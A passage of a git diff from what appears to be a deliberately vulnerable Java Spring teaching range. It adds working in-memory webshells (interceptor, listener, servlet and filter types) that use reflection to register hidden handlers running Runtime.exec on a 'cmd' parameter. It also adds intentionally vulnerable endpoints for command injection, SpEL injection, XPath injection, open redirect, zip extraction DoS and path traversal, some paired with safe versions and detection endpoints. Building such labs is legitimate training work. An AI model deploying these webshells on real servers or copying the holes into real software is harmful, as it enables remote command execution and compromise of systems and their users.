detect() { + try { + Context context = getContext(); + if (context == null) { + return R.error("获取Context失败"); + } + + StringBuilder result = new StringBuilder(); + result.append("已注入的过滤器列表:\n"); + + // 获取所有Filter配置 + FilterDef[] filterDefs = ((StandardContext) context).findFilterDefs(); + for (FilterDef filterDef : filterDefs) { + result.append("- Filter名称: ").append(filterDef.getFilterName()) + .append("\n 类型: ").append(filterDef.getFilterClass()) + .append("\n 实例: ").append(filterDef.getFilter() != null ? + filterDef.getFilter().getClass().getName() : "未实例化") + .append("\n"); + } + + return R.ok().put("data", result.toString()); + } catch (Exception e) { + log.error("检测失败", e); + return R.error("检测失败:" + e.getMessage()); + } + } +} diff --git a/src/main/java/top/whgojp/modules/mshell/controller/InterceptorMemShellController.java b/src/main/java/top/whgojp/modules/mshell/controller/InterceptorMemShellController.java new file mode 100644 index 0000000..0011908 --- /dev/null +++ b/src/main/java/top/whgojp/modules/mshell/controller/InterceptorMemShellController.java @@ -0,0 +1,133 @@ +package top.whgojp.modules.mshell.controller; + +import io.swagger.annotations.Api; +import io.swagger.annotations.ApiOperation; +import io.swagger.annotations.ApiParam; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.*; +import org.springframework.web.servlet.HandlerInterceptor; +import org.springframework.web.servlet.handler.MappedInterceptor; +import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; +import top.whgojp.common.utils.R; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.InputStream; +import java.lang.reflect.Field; +import java.util.List; + +/** + * Spring拦截器型内存马 + * 通过动态注册HandlerInterceptor实现命令执行 + * + * @author whgojp + * @date 2024/03/20 + */ +@Slf4j +@Api(tags = "Spring拦截器型内存马") +@Controller +@RequestMapping("/mshell/interceptor") +public class InterceptorMemShellController extends BaseMemShellController { + + @Autowired + private RequestMappingHandlerMapping handlerMapping; + + @RequestMapping("") + public String index() { + return "vul/mshell/interceptor"; + } + + @ApiOperation("注入Spring拦截器型内存马") + @PostMapping("/inject") + @ResponseBody + public R inject( + @ApiParam("拦截路径") @RequestParam(defaultValue = "/**") String pattern, + @ApiParam("命令参数名") @RequestParam(defaultValue = "cmd") String cmdParam) { + try { + // 创建恶意拦截器 + HandlerInterceptor evilInterceptor = new HandlerInterceptor() { + @Override + public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) + throws Exception { + String cmd = request.getParameter(cmdParam); + if (cmd != null) { + try { + Process process = Runtime.getRuntime().exec(cmd); + InputStream in = process.getInputStream(); + byte[] b = new byte[1024]; + int n; + while ((n = in.read(b)) != -1) { + response.getOutputStream().write(b, 0, n); + } + response.getOutputStream().flush(); + return false; + } catch (IOException e) { + log.error("命令执行失败", e); + response.getWriter().println("Error: " + e.getMessage()); + return false; + } + } + return true; + } + }; + + // 通过反射获取adaptedInterceptors字段 + Field adaptedInterceptors = RequestMappingHandlerMapping.class.getDeclaredField("adaptedInterceptors"); + adaptedInterceptors.setAccessible(true); + @SuppressWarnings("unchecked") + List interceptors = (List) adaptedInterceptors.get(handlerMapping); + + // 创建MappedInterceptor并添加到列表中 + MappedInterceptor mappedInterceptor = new MappedInterceptor(new String[]{pattern}, evilInterceptor); + interceptors.add(mappedInterceptor); + + log.info("Spring拦截器型内存马注入成功,拦截路径: {}, 命令参数: {}", pattern, cmdParam); + return R.ok("内存马注入成功").put("data", "拦截路径: " + pattern + ", 命令参数: " + cmdParam); + } catch (Exception e) { + log.error("注入失败", e); + return R.error("注入失败:" + e.getMessage()); + } + } + + @ApiOperation("检测Spring拦截器型内存马") + @GetMapping("/detect") + @ResponseBody + public R detect() { + try { + StringBuilder result = new StringBuilder(); + result.append("已注入的拦截器列表:\n"); + + // 通过反射获取adaptedInterceptors字段 + Field adaptedInterceptors = RequestMappingHandlerMapping.class.getDeclaredField("adaptedInterceptors"); + adaptedInterceptors.setAccessible(true); + @SuppressWarnings("unchecked") + List interceptors = (List) adaptedInterceptors.get(handlerMapping); + + // 获取所有拦截器信息 + for (Object interceptor : interceptors) { + if (interceptor instanceof MappedInterceptor) { + MappedInterceptor mappedInterceptor = (MappedInterceptor) interceptor; + result.append("- MappedInterceptor: ") + .append(mappedInterceptor.getClass().getName()) + .append("\n 路径模式: ") + .append(String.join(", ", mappedInterceptor.getPathPatterns())) + .append("\n 拦截器类型: ") + .append(mappedInterceptor.getInterceptor().getClass().getName()) + .append("\n"); + } else { + result.append("- ") + .append(interceptor.getClass().getName()) + .append("\n"); + } + } + + return R.ok().put("data", result.toString()); + } catch (Exception e) { + log.error("检测失败", e); + return R.error("检测失败:" + e.getMessage()); + } + } +} diff --git a/src/main/java/top/whgojp/modules/mshell/controller/ListenerMemShellController.java b/src/main/java/top/whgojp/modules/mshell/controller/ListenerMemShellController.java new file mode 100644 index 0000000..2f49e7c --- /dev/null +++ b/src/main/java/top/whgojp/modules/mshell/controller/ListenerMemShellController.java @@ -0,0 +1,139 @@ +package top.whgojp.modules.mshell.controller; + +import io.swagger.annotations.Api; +import io.swagger.annotations.ApiOperation; +import io.swagger.annotations.ApiParam; +import lombok.extern.slf4j.Slf4j; +import org.apache.catalina.Context; +import org.apache.catalina.core.StandardContext; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.*; +import top.whgojp.common.utils.R; + +import javax.servlet.ServletContextEvent; +import javax.servlet.ServletContextListener; +import java.io.IOException; +import java.io.InputStream; +import java.lang.reflect.Field; +import java.util.ArrayList; +import java.util.List; + +/** + * Listener型内存马 + * 通过动态注册ServletContextListener实现命令执行 + * + * @author whgojp + * @date 2024/03/20 + */ +@Slf4j +@Api(tags = "Listener型内存马") +@Controller +@RequestMapping("/mshell/listener") +public class ListenerMemShellController extends BaseMemShellController { + + @RequestMapping("") + public String index() { + return "vul/mshell/listener"; + } + + @ApiOperation("注入Listener型内存马") + @PostMapping("/inject") + @ResponseBody + public R inject( + @ApiParam("监听器名称") @RequestParam(defaultValue = "evilListener") String listenerName, + @ApiParam("命令参数名") @RequestParam(defaultValue = "cmd") String cmdParam) { + try { + Context context = getContext(); + if (context == null) { + return R.error("获取Context失败"); + } + + // 创建恶意Listener + ServletContextListener evilListener = new ServletContextListener() { + @Override + public void contextInitialized(ServletContextEvent sce) { + try { + String cmd = sce.getServletContext().getInitParameter(cmdParam); + if (cmd != null) { + Process process = Runtime.getRuntime().exec(cmd); + InputStream in = process.getInputStream(); + byte[] b = new byte[1024]; + int n; + while ((n = in.read(b)) != -1) { + log.info(new String(b, 0, n)); + } + } + } catch (IOException e) { + log.error("命令执行失败", e); + } + } + + @Override + public void contextDestroyed(ServletContextEvent sce) { + // 在Web应用关闭时执行 + } + }; + + // 获取applicationLifecycleListeners + Field field = StandardContext.class.getDeclaredField("applicationLifecycleListeners"); + field.setAccessible(true); + Object[] listeners = (Object[]) field.get(context); + + // 创建新的监听器数组 + List newListeners = new ArrayList<>(); + if (listeners != null) { + for (Object listener : listeners) { + newListeners.add(listener); + } + } + newListeners.add(evilListener); + + // 更新监听器数组 + field.set(context, newListeners.toArray(new Object[0])); + + log.info("Listener型内存马注入成功,名称: {}, 命令参数: {}", + listenerName, cmdParam); + return R.ok("内存马注入成功").put("data", String.format( + "Listener名称: %s\n命令参数: %s", + listenerName, cmdParam)); + } catch (Exception e) { + log.error("注入失败", e); + return R.error("注入失败:" + e.getMessage()); + } + } + + @ApiOperation("检测Listener型内存马") + @GetMapping("/detect") + @ResponseBody + public R detect() { + try { + Context context = getContext(); + if (context == null) { + return R.error("获取Context失败"); + } + + StringBuilder result = new StringBuilder(); + result.append("已注入的监听器列表:\n"); + + // 获取applicationLifecycleListeners + Field field = StandardContext.class.getDeclaredField("applicationLifecycleListeners"); + field.setAccessible(true); + Object[] listeners = (Object[]) field.get(context); + + if (listeners != null) { + for (Object listener : listeners) { + result.append("- 监听器类型: ").append(listener.getClass().getName()) + .append("\n 实例: ").append(listener) + .append("\n"); + } + } else { + result.append("未找到任何监听器\n"); + } + + return R.ok().put("data", result.toString()); + } catch (Exception e) { + log.error("检测失败", e); + return R.error("检测失败:" + e.getMessage()); + } + } +} diff --git a/src/main/java/top/whgojp/modules/mshell/controller/ServletMemShellController.java b/src/main/java/top/whgojp/modules/mshell/controller/ServletMemShellController.java new file mode 100644 index 0000000..622bbb2 --- /dev/null +++ b/src/main/java/top/whgojp/modules/mshell/controller/ServletMemShellController.java @@ -0,0 +1,133 @@ +package top.whgojp.modules.mshell.controller; + +import io.swagger.annotations.Api; +import io.swagger.annotations.ApiOperation; +import io.swagger.annotations.ApiParam; +import lombok.extern.slf4j.Slf4j; +import org.apache.catalina.Container; +import org.apache.catalina.Context; +import org.apache.catalina.Wrapper; +import org.apache.catalina.core.StandardContext; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.*; +import top.whgojp.common.utils.R; + +import javax.servlet.Servlet; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.InputStream; + +/** + * Servlet型内存马 + * 通过动态注册Servlet实现命令执行 + * + * @author whgojp + * @date 2024/03/20 + */ +@Slf4j +@Api(tags = "Servlet型内存马") +@Controller +@RequestMapping("/mshell/servlet") +public class ServletMemShellController extends BaseMemShellController { + + @RequestMapping("") + public String index() { + return "vul/mshell/servlet"; + } + + @ApiOperation("注入Servlet型内存马") + @PostMapping("/inject") + @ResponseBody + public R inject( + @ApiParam("Servlet名称") @RequestParam(defaultValue = "evilServlet") String servletName, + @ApiParam("URL Pattern") @RequestParam(defaultValue = "/evil") String urlPattern, + @ApiParam("命令参数名") @RequestParam(defaultValue = "cmd") String cmdParam) { + try { + Context context = getContext(); + if (context == null) { + return R.error("获取Context失败"); + } + + // 创建恶意Servlet + Servlet evilServlet = new HttpServlet() { + @Override + protected void doGet(HttpServletRequest req, HttpServletResponse resp) + throws ServletException, IOException { + String cmd = req.getParameter(cmdParam); + if (cmd != null) { + try { + Process process = Runtime.getRuntime().exec(cmd); + InputStream in = process.getInputStream(); + byte[] b = new byte[1024]; + int n; + while ((n = in.read(b)) != -1) { + resp.getOutputStream().write(b, 0, n); + } + resp.getOutputStream().flush(); + return; + } catch (IOException e) { + log.error("命令执行失败", e); + resp.getWriter().println("Error: " + e.getMessage()); + return; + } + } + resp.getWriter().write("Evil Servlet"); + } + }; + + // 创建Wrapper并设置Servlet + Wrapper wrapper = ((StandardContext) context).createWrapper(); + wrapper.setName(servletName); + wrapper.setServlet(evilServlet); + wrapper.setServletClass(evilServlet.getClass().getName()); + + // 添加Wrapper到Context + context.addChild(wrapper); + context.addServletMappingDecoded(urlPattern, servletName); + + log.info("Servlet型内存马注入成功,名称: {}, URL Pattern: {}, 命令参数: {}", + servletName, urlPattern, cmdParam); + return R.ok("内存马注入成功").put("data", String.format( + "Servlet名称: %s\nURL Pattern: %s\n命令参数: %s", + servletName, urlPattern, cmdParam)); + } catch (Exception e) { + log.error("注入失败", e); + return R.error("注入失败:" + e.getMessage()); + } + } + + @ApiOperation("检测Servlet型内存马") + @GetMapping("/detect") + @ResponseBody + public R detect() { + try { + Context context = getContext(); + if (context == null) { + return R.error("获取Context失败"); + } + + StringBuilder result = new StringBuilder(); + result.append("已注入的Servlet列表:\n"); + + // 获取所有Wrapper + Container[] wrappers = ((StandardContext) context).findChildren(); + for (Container wrapper : wrappers) { + if (wrapper instanceof Wrapper) { + Wrapper w = (Wrapper) wrapper; + result.append("- Servlet名称: ").append(w.getName()) + .append("\n 类型: ").append(w.getServletClass()) + .append("\n URL Pattern: ").append(context.findServletMapping(w.getName())) + .append("\n"); + } + } + + return R.ok().put("data", result.toString()); + } catch (Exception e) { + log.error("检测失败", e); + return R.error("检测失败:" + e.getMessage()); + } + } +} diff --git a/src/main/java/top/whgojp/modules/mshell/entity/MaliciousFilter.java b/src/main/java/top/whgojp/modules/mshell/entity/MaliciousFilter.java new file mode 100644 index 0000000..538ae53 --- /dev/null +++ b/src/main/java/top/whgojp/modules/mshell/entity/MaliciousFilter.java @@ -0,0 +1,49 @@ +package top.whgojp.modules.mshell.entity; + +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +public class MaliciousFilter implements Filter { + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + // 初始化逻辑 + } + + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) + throws IOException, ServletException { + + HttpServletRequest httpRequest = (HttpServletRequest) request; + HttpServletResponse httpResponse = (HttpServletResponse) response; + + // 获取请求中的 cmd 参数 + String command = httpRequest.getParameter("cmd"); + if (command != null && !command.isEmpty()) { + try { + // 执行传入的命令 + executeCommand(command); + } catch (IOException e) { + e.printStackTrace(); + } + } + + // 继续处理请求 + chain.doFilter(request, response); + } + + @Override + public void destroy() { + // 销毁逻辑 + } + + // 执行任意命令 + private void executeCommand(String command) throws IOException { + // 执行用户传入的命令 + System.out.println("Executing command: " + command); + Runtime.getRuntime().exec(command); + } +} + diff --git a/src/main/java/top/whgojp/modules/other/controller/DosController.java b/src/main/java/top/whgojp/modules/other/controller/DosController.java new file mode 100644 index 0000000..6531933 --- /dev/null +++ b/src/main/java/top/whgojp/modules/other/controller/DosController.java @@ -0,0 +1,126 @@ +package top.whgojp.modules.other.controller; + +import cn.hutool.captcha.CaptchaUtil; +import cn.hutool.captcha.ShearCaptcha; +import io.swagger.annotations.Api; +import io.swagger.annotations.ApiOperation; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.CrossOrigin; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.multipart.MultipartFile; +import top.whgojp.common.utils.R; + +import javax.imageio.ImageIO; +import javax.servlet.http.HttpServletResponse; +import java.awt.*; +import java.awt.image.BufferedImage; +import java.io.*; +import java.util.zip.ZipEntry; +import java.util.zip.ZipInputStream; + +/** + * @description 其他漏洞-Dos攻击 + * @author: whgojp + * @email: whgojp@foxmail.com + * @Date: 2024/10/28 23:04 + */ +@Slf4j +@Api(value = "DosController", tags = "其他漏洞-Dos攻击") +@Controller +@CrossOrigin(origins = "*") +@RequestMapping("/other/dos") +public class DosController { + @RequestMapping("") + public String dos() { + return "vul/other/dos"; + } + + @RequestMapping("/vul") + public void vul(@RequestParam Integer width, @RequestParam Integer height, HttpServletResponse response) throws IOException { + response.setContentType("image/jpeg"); + response.setHeader("Pragma", "no-cache"); + response.setHeader("Cache-Control", "no-cache"); + // 验证码参数可控 造成拒绝服务攻击 + ShearCaptcha shearCaptcha = CaptchaUtil.createShearCaptcha(width, height,4,3); + try { + shearCaptcha.write(response.getOutputStream()); + } catch (IOException e) { + throw new RuntimeException(e); + } + } + @RequestMapping("/vul2") + @ResponseBody + public R vul2(MultipartFile file) { + try { + File tempFile = convertMultipartFileToFile(file); + // 限制解压深度为 1,防止无限递归 + int maxDepth = 1; + unzip(tempFile, 0, maxDepth); + return R.ok("文件解压成功!"); + } catch (Exception e) { + e.printStackTrace(); + return R.error("文件解压失败: " + e.getMessage()); + } + } + + private File convertMultipartFileToFile(MultipartFile file) throws IOException { + // 将上传的MultipartFile转换为临时文件 + File tempFile = File.createTempFile("tempFile", ".zip"); + file.transferTo(tempFile); + return tempFile; + } + + private void unzip(File zipFile, int currentDepth, int maxDepth) throws IOException { + if (currentDepth > maxDepth) { + throw new IOException("超过最大解压深度限制!"); + } + + try (ZipInputStream zipInputStream = new ZipInputStream(new FileInputStream(zipFile))) { + ZipEntry entry; + while ((entry = zipInputStream.getNextEntry()) != null) { + // 排除 macOS 元数据文件 + if (entry.getName().startsWith("__MACOSX") || entry.getName().startsWith("._")) { + continue; + } + + // 如果解压出的文件是ZIP文件,则递归解压 + if (entry.getName().endsWith(".zip")) { + // 创建临时文件来存储这个ZIP + File tempFile = File.createTempFile("unzip", ".zip"); + try (FileOutputStream fos = new FileOutputStream(tempFile)) { + byte[] buffer = new byte[1024]; + int length; + while ((length = zipInputStream.read(buffer)) != -1) { + fos.write(buffer, 0, length); + } + } + // 递归解压这个新的ZIP文件 + unzip(tempFile, currentDepth + 1, maxDepth); + // 解压完成后删除临时文件 + tempFile.delete(); + } else { + // 解压并存储文件 + File extractedDir = new File("extracted"); + if (!extractedDir.exists()) { + extractedDir.mkdirs(); // 创建目录 + } + File outputFile = new File(extractedDir, entry.getName()); + try (BufferedOutputStream outputStream = new BufferedOutputStream(new FileOutputStream(outputFile))) { + byte[] buffer = new byte[1024]; + int length; + while ((length = zipInputStream.read(buffer)) != -1) { + outputStream.write(buffer, 0, length); + } + } + } + } + } catch (IOException e) { + throw new IOException("解压文件失败: " + zipFile.getName(), e); + } + } + + +} \ No newline at end of file diff --git a/src/main/java/top/whgojp/modules/other/controller/UrlRedirectController.java b/src/main/java/top/whgojp/modules/other/controller/UrlRedirectController.java index a20a8e7..6a64a1a 100644 --- a/src/main/java/top/whgojp/modules/other/controller/UrlRedirectController.java +++ b/src/main/java/top/whgojp/modules/other/controller/UrlRedirectController.java @@ -40,57 +40,57 @@ public String UrlRedirectSafe() { } // 基于Spring MVC的重定向方式 - @ApiOperation(value = "漏洞环境:基于Spring MVC的重定向方式", notes = "Spring MVC应用中常见的重定向方式") - @GetMapping("/redirect") - public String vul1SpringMvc(@RequestParam("url") String url) { + @ApiOperation(value = "漏洞场景:基于Spring MVC的重定向方式", notes = "Spring MVC应用中常见的重定向方式") + @GetMapping("/vul1") + public String vul1(@RequestParam("url") String url) { return "redirect:" + url; // Spring MVC写法 302临时重定向 } - @ApiOperation(value = "漏洞环境:基于Spring MVC的重定向方式", notes = "使用ModelAndView实现的Spring MVC重定向方式") - @RequestMapping("/redirectWithModelAndView") - public ModelAndView vul1ModelAndView(@RequestParam("url") String url) { + @ApiOperation(value = "漏洞场景:基于Spring MVC的重定向方式", notes = "使用ModelAndView实现的Spring MVC重定向方式") + @RequestMapping("/vul2") + public ModelAndView vul2(@RequestParam("url") String url) { return new ModelAndView("redirect:" + url); // Spring MVC写法 使用ModelAndView 302临时重定向 } // 基于Servlet标准的重定向方式 - @ApiOperation(value = "漏洞环境:基于Servlet标准的重定向方式", notes = "基于Servlet标准的重定向方式") - @RequestMapping("/setHeader") + @ApiOperation(value = "漏洞场景:基于Servlet标准的重定向方式", notes = "基于Servlet标准的重定向方式") + @RequestMapping("/vul3") @ResponseBody - public static void vul2setHeader(HttpServletRequest request, HttpServletResponse response) { + public static void vul3(HttpServletRequest request, HttpServletResponse response) { String url = request.getParameter("url"); response.setStatus(HttpServletResponse.SC_MOVED_PERMANENTLY); // 301永久重定向 response.setHeader("Location", url); } - @ApiOperation(value = "漏洞环境:基于Servlet标准的重定向方式", notes = "基于Servlet标准的重定向方式") - @RequestMapping("/sendRedirect") + @ApiOperation(value = "漏洞场景:基于Servlet标准的重定向方式", notes = "基于Servlet标准的重定向方式") + @RequestMapping("/vul4") @ResponseBody - public static void vul2sendRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException { + public static void vul4(HttpServletRequest request, HttpServletResponse response) throws IOException { String url = request.getParameter("url"); response.sendRedirect(url); // 302临时重定向 } // 基于Spring注解和状态码的重定向方式 - @ApiOperation(value = "漏洞环境:基于Spring注解和状态码的重定向方式", notes = "使用ResponseEntity设置状态码实现重定向") - @RequestMapping("/responseEntityRedirect") + @ApiOperation(value = "漏洞场景:基于Spring注解和状态码的重定向方式", notes = "使用ResponseEntity设置状态码实现重定向") + @RequestMapping("/vul5") @ResponseBody - public ResponseEntity responseEntityRedirect(@RequestParam("url") String url) { + public ResponseEntity vul5(@RequestParam("url") String url) { HttpHeaders headers = new HttpHeaders(); headers.setLocation(URI.create(url)); return new ResponseEntity<>(headers, HttpStatus.FOUND); // 302临时重定向 } - @ApiOperation(value = "漏洞环境:基于Spring注解和状态码的重定向方式", notes = "通过注解设置状态码实现重定向") - @GetMapping("/annotationRedirect") + @ApiOperation(value = "漏洞场景:基于Spring注解和状态码的重定向方式", notes = "通过注解设置状态码实现重定向") + @GetMapping("/vul6") @ResponseStatus(HttpStatus.FOUND) // 302临时重定向 - public void annotationRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException { + public void vul6(HttpServletRequest request, HttpServletResponse response) throws IOException { String url = request.getParameter("url"); response.setHeader("Location", url); } - @RequestMapping("/forward") + @RequestMapping("/safe1") @ResponseBody - public static void safeForward(HttpServletRequest request, HttpServletResponse response) { + public static void safe1(HttpServletRequest request, HttpServletResponse response) { String url = request.getParameter("url"); request.setAttribute("message", "正在进行内部转发,请稍候..."); @@ -106,9 +106,9 @@ public static void safeForward(HttpServletRequest request, HttpServletResponse r @Autowired private CheckUserInput checkUserInput; - @RequestMapping("/checkUrl") + @RequestMapping("/safe2") @ResponseBody - public void safe2CheckURL(HttpServletRequest request, HttpServletResponse response) + public void safe2(HttpServletRequest request, HttpServletResponse response) throws IOException { String url = request.getParameter("url"); if (checkUserInput.checkURL(url)) { // 校验通过 diff --git a/src/main/java/top/whgojp/modules/other/controller/XffForgeryController.java b/src/main/java/top/whgojp/modules/other/controller/XffForgeryController.java index b2290e2..531e560 100644 --- a/src/main/java/top/whgojp/modules/other/controller/XffForgeryController.java +++ b/src/main/java/top/whgojp/modules/other/controller/XffForgeryController.java @@ -41,8 +41,8 @@ public String getIp(HttpServletRequest request) { return "获取到的IP:" + remoteHost; } - @RequestMapping("/buffli") - public String buffli(HttpServletRequest request, Model model) { + @RequestMapping("/vul1") + public String vul1(HttpServletRequest request, Model model) { // 前后端不分离 使用request.getRemoteAddr()获取客户端IP final String remoteHost = request.getRemoteAddr(); boolean isClientIP8888 = "8.8.8.8".equals(remoteHost); @@ -63,8 +63,8 @@ public String onlyForGoogle(HttpServletRequest request, HttpServletResponse resp return "vul/other/onlyForGoogle"; } - @RequestMapping("/ffli") - public String ffli(HttpServletRequest request, HttpServletResponse response, Model model, String xff) { + @RequestMapping("/vul2") + public String vul2(HttpServletRequest request, HttpServletResponse response, Model model, String xff) { // 前后端分离 模拟通过X-Forwarded-For头获取客户端IP String remoteHost = ""; diff --git a/src/main/java/top/whgojp/modules/other/controller/XpathController.java b/src/main/java/top/whgojp/modules/other/controller/XpathController.java new file mode 100644 index 0000000..c42711f --- /dev/null +++ b/src/main/java/top/whgojp/modules/other/controller/XpathController.java @@ -0,0 +1,93 @@ +package top.whgojp.modules.other.controller; + +import io.swagger.annotations.Api; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.text.StringEscapeUtils; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.*; +import org.w3c.dom.Document; +import org.w3c.dom.NodeList; +import org.xml.sax.InputSource; +import top.whgojp.common.utils.R; + +import javax.xml.parsers.DocumentBuilder; +import javax.xml.parsers.DocumentBuilderFactory; +import javax.xml.xpath.XPath; +import javax.xml.xpath.XPathConstants; +import javax.xml.xpath.XPathFactory; +import java.io.StringReader; + +/** + * @description 其他漏洞-XPATH注入 + * @author: whgojp + * @email: whgojp@foxmail.com + * @Date: 2024/11/10 00:18 + */ +@Slf4j +@Api(value = "DosController", tags = "其他漏洞-XPATH注入") +@Controller +@CrossOrigin(origins = "*") +@RequestMapping("/other/xpath") +public class XpathController { + + @RequestMapping("") + public String xpath() { + return "vul/other/xpath"; + } + + @RequestMapping("/vul") + @ResponseBody + public R vul(@RequestParam String username, @RequestParam String password) { + try { + // 构造 XML 数据 + String xmlData = "adminpassword"; + + // 解析 XML 文档 + DocumentBuilder builder = DocumentBuilderFactory.newInstance().newDocumentBuilder(); + Document doc = builder.parse(new InputSource(new StringReader(xmlData))); + + // 构造 XPath 表达式(存在注入漏洞) + XPath xpath = XPathFactory.newInstance().newXPath(); + String expression = "/users/user[username='" + username + "' and password='" + password + "']"; + NodeList nodes = (NodeList) xpath.evaluate(expression, doc, XPathConstants.NODESET); + if (nodes.getLength() > 0) { + log.info("[vul] XPath 注入成功,用户验证通过!"); + return R.ok("用户名和密码验证通过!欢迎:"+username); + } else { + log.info("[vul] XPath 注入失败,用户名或密码错误!"); + return R.ok("用户名或密码错误!"); + } + } catch (Exception e) { + log.error("[vul] 发生异常:" + e.getMessage(), e); + return R.error("发生异常:" + e.getMessage()); + } + } + + @PostMapping("/safe") + @ResponseBody + public R safe(@RequestParam("username") String username, @RequestParam("password") String password) { + try { + DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); + DocumentBuilder builder = factory.newDocumentBuilder(); + String xml = "adminpassword"; + Document doc = builder.parse(new InputSource(new StringReader(xml))); + + String escapedUsername = StringEscapeUtils.escapeXml10(username); + String escapedPassword = StringEscapeUtils.escapeXml10(password); + + XPath xpath = XPathFactory.newInstance().newXPath(); + String expression = "/users/user[username='" + escapedUsername + "' and password='" + escapedPassword + "']"; + NodeList nodes = (NodeList) xpath.evaluate(expression, doc, XPathConstants.NODESET); + + if (nodes.getLength() > 0) { + return R.ok("用户名和密码验证通过!欢迎:" + escapedUsername); + } else { + return R.error("认证失败:用户名或密码错误"); + } + } catch (Exception e) { + e.printStackTrace(); + return R.error("服务器内部错误:" + e.getMessage()); + } + } + +} diff --git a/src/main/java/top/whgojp/modules/rce/command/CommandController.java b/src/main/java/top/whgojp/modules/rce/command/CommandController.java index c595305..daa2660 100644 --- a/src/main/java/top/whgojp/modules/rce/command/CommandController.java +++ b/src/main/java/top/whgojp/modules/rce/command/CommandController.java @@ -36,9 +36,9 @@ public String spel() { return "vul/rce/command"; } - @RequestMapping("/processBuilder") + @RequestMapping("/vul1") @ResponseBody - public R vulProcessBuilder(@RequestParam("payload") String payload) throws IOException { + public R vul1(@RequestParam("payload") String payload) throws IOException { String[] command = {"sh", "-c", payload}; ProcessBuilder pb = new ProcessBuilder(command); @@ -55,9 +55,9 @@ public R vulProcessBuilder(@RequestParam("payload") String payload) throws IOExc return R.ok(output.toString()); } - @RequestMapping("/getRuntime") + @RequestMapping("/vul2") @ResponseBody - public R vulGetRuntime(String payload) throws IOException { + public R vul2(String payload) throws IOException { StringBuilder sb = new StringBuilder(); String line; Process proc = Runtime.getRuntime().exec(payload); @@ -70,9 +70,9 @@ public R vulGetRuntime(String payload) throws IOException { return R.ok(sb.toString()); } - @RequestMapping("/processImpl") + @RequestMapping("/vul3") @ResponseBody - public R vulProcessImpl(String payload) throws Exception { + public R vul3(String payload) throws Exception { // 获取 ProcessImpl 类对象 Class clazz = Class.forName("java.lang.ProcessImpl"); @@ -95,9 +95,9 @@ public R vulProcessImpl(String payload) throws Exception { // 可执行命令白名单 private static final List ALLOWED_COMMANDS = Arrays.asList("ls", "date"); - @RequestMapping("/safeProcessBuilder") + @RequestMapping("/safe") @ResponseBody - public R safeProcessBuilder(@RequestParam("payload") String payload) throws IOException { + public R safe(@RequestParam("payload") String payload) throws IOException { // 验证命令是否在允许的列表中 if (!ALLOWED_COMMANDS.contains(payload)) { return R.error("不允许执行该命令!"); diff --git a/src/main/java/top/whgojp/modules/spel/controller/SPELController.java b/src/main/java/top/whgojp/modules/spel/controller/SPELController.java index 7fe2550..172c6b7 100644 --- a/src/main/java/top/whgojp/modules/spel/controller/SPELController.java +++ b/src/main/java/top/whgojp/modules/spel/controller/SPELController.java @@ -32,11 +32,11 @@ public String spel() { return "vul/spel/spel"; } - @ApiOperation(value = "漏洞环境:原生漏洞环境", notes = "当参数未经过滤时,攻击者可以注入恶意的SPEL表达式,执行任意代码") + @ApiOperation(value = "漏洞场景:原生漏洞场景", notes = "当参数未经过滤时,攻击者可以注入恶意的SPEL表达式,执行任意代码") @ResponseBody @ApiImplicitParam(name = "ex", value = "表达式", dataType = "String", paramType = "query", dataTypeClass = String.class) - @GetMapping("/vul-raw") - public R spelVul(@ApiParam(name = "ex", value = "表达式", required = true) @RequestParam String ex) { + @GetMapping("/vul") + public R vul(@ApiParam(name = "ex", value = "表达式", required = true) @RequestParam String ex) { // 创建SpEL解析器,ExpressionParser接口用于表示解析器,SpelExpressionParser为默认实现 ExpressionParser parser = new SpelExpressionParser(); // Expression expression = parser.parseExpression(ex); @@ -47,20 +47,20 @@ public R spelVul(@ApiParam(name = "ex", value = "表达式", required = true) @R Expression exp = parser.parseExpression(ex); // 通过上下文计算表达式的值,并将结果转换为字符串 String result = exp.getValue(evaluationContext).toString(); - log.info("[漏洞代码]SPEL表达式注入:"+ex); + log.info("[+]SPEL表达式注入:"+ex); return R.ok(result); } @ResponseBody @ApiImplicitParam(name = "ex", value = "表达式", dataType = "String", paramType = "query", dataTypeClass = String.class) @GetMapping("/safe") - public R spelSafe(@ApiParam(name = "ex", value = "表达式", required = true) @RequestParam String ex) { + public R safe(@ApiParam(name = "ex", value = "表达式", required = true) @RequestParam String ex) { // 使用 SimpleEvaluationContext 限制表达式功能(Java类型引用、构造函数调用、Bean引用),防止危险的操作 ExpressionParser parser = new SpelExpressionParser(); EvaluationContext simpleContext = SimpleEvaluationContext.forReadOnlyDataBinding().build(); Expression exp = parser.parseExpression(ex); String result = exp.getValue(simpleContext).toString(); - log.info("[安全代码]SPEL表达式注入:"+ex); + log.info("[-]SPEL表达式注入:"+ex); return R.ok(result); } diff --git a/src/main/java/top/whgojp/modules/springboot/controller/SpringBootController.java b/src/main/java/top/whgojp/modules/springboot/controller/SpringBootController.java index 20ffe20..aa0ed81 100644 --- a/src/main/java/top/whgojp/modules/springboot/controller/SpringBootController.java +++ b/src/main/java/top/whgojp/modules/springboot/controller/SpringBootController.java @@ -2,9 +2,20 @@ import io.swagger.annotations.Api; import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Value; import 